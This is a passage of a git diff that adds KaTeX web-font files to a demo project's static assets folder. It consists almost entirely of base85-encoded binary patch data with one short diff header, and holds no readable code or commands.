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 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Main-Regular.woff2 b/demo/static/dist/assets/KaTeX_Main-Regular.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..eb24a7ba282b03d830fa6c63ee897d92a5188736 GIT binary patch literal 26272 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 